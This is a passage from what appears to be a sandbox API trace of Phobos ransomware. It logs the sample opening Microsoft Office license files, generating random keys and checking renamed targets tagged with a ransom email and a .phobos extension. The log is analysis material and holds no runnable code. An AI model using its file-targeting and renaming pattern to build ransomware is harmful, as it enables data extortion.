office\\root\\licenses16\\standardr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.654] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=22518) returned 1 [0153.654] CloseHandle (hObject=0x564) returned 1 [0153.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-ppd.xrm-ms")) returned 0x220 [0153.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.655] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.656] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11589) returned 1 [0153.656] CloseHandle (hObject=0x564) returned 1 [0153.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-ul-oob.xrm-ms")) returned 0x220 [0153.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.656] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.657] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19934) returned 1 [0153.657] CloseHandle (hObject=0x564) returned 1 [0153.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-ul-phn.xrm-ms")) returned 0x220 [0153.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.658] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.658] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11151) returned 1 [0153.658] CloseHandle (hObject=0x564) returned 1 [0153.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_trial-pl.xrm-ms")) returned 0x220 [0153.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.659] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.660] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=22641) returned 1 [0153.660] CloseHandle (hObject=0x564) returned 1 [0153.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_trial-ppd.xrm-ms")) returned 0x220 [0153.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.660] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.661] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11601) returned 1 [0153.661] CloseHandle (hObject=0x564) returned 1 [0153.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_trial-ul-oob.xrm-ms")) returned 0x220 [0153.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.662] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.662] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=8610) returned 1 [0153.662] CloseHandle (hObject=0x564) returned 1 [0153.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_kms_client-ppd.xrm-ms")) returned 0x220 [0153.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_kms_client-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.663] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.664] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11624) returned 1 [0153.664] CloseHandle (hObject=0x564) returned 1 [0153.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0153.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_kms_client-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.664] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.665] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9616) returned 1 [0153.665] CloseHandle (hObject=0x564) returned 1 [0153.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_kms_client-ul.xrm-ms")) returned 0x220 [0153.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_kms_client-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.665] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.666] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10631) returned 1 [0153.666] CloseHandle (hObject=0x564) returned 1 [0153.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-pl.xrm-ms")) returned 0x220 [0153.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.667] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.667] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=8545) returned 1 [0153.667] CloseHandle (hObject=0x564) returned 1 [0153.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ppd.xrm-ms")) returned 0x220 [0153.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.668] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.668] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11591) returned 1 [0153.668] CloseHandle (hObject=0x564) returned 1 [0153.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ul-oob.xrm-ms")) returned 0x220 [0153.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.669] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.669] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19936) returned 1 [0153.670] CloseHandle (hObject=0x564) returned 1 [0153.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ul-phn.xrm-ms")) returned 0x220 [0153.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.767] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.767] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11640) returned 1 [0153.768] CloseHandle (hObject=0x528) returned 1 [0153.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subscription-ul-oob.xrm-ms")) returned 0x220 [0153.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subscription-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.770] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.771] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11175) returned 1 [0153.771] CloseHandle (hObject=0x528) returned 1 [0153.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtest-pl.xrm-ms")) returned 0x220 [0153.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtest-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.772] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.773] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20921) returned 1 [0153.773] CloseHandle (hObject=0x528) returned 1 [0153.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtest-ppd.xrm-ms")) returned 0x220 [0153.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtest-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 